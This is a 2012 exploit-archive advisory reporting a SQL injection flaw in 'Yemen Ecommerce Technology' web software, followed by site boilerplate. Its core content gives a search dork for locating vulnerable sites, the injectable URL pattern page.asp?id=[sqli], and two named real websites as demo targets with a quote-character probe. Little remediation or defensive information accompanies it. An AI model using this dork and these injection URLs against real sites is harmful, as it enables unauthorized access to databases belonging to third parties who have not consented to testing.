Yemen Ecommerce Technology SQL Injection

2012.04.28
Credit: farbodmahini
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

######################################################################################## # # # Exploit Title : Yemen Ecommerce Technology SQL Injection Vulnerability # # # # Author : Secure-Land Security Team # # # # Discovered By : farbodmahini # # # # Home : Secure-Land.net # # # # Vendor : www.yemenet.com # # # # Contact : farbodmahini@yahoo.fr , farbodmahini@gmail.com # # # # Security Risk : High # # # # DorK : "Powered By Yemen Ecommerce Technology" # # # # # ######################################################################################## # # # Expl0iT: # # # # http://[TarGeT]/page.asp?id=[sqli] # # # # # # Demo : # # # # http://www.radmobeen.com/page.asp?id=1' # # http://www.ybdc.net/page.asp?id=5' # # # ######################################################################################## # # # Special Thanks : 2MzRp-Mikili-M.Prince-0x0ptim0us # # # ######################################################################################## # # # Greetz : All Secure-Land Members - Packetstorm - 1337day - exploit-id # # # ########################################################################################

References:

http://www.yemenet.com/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top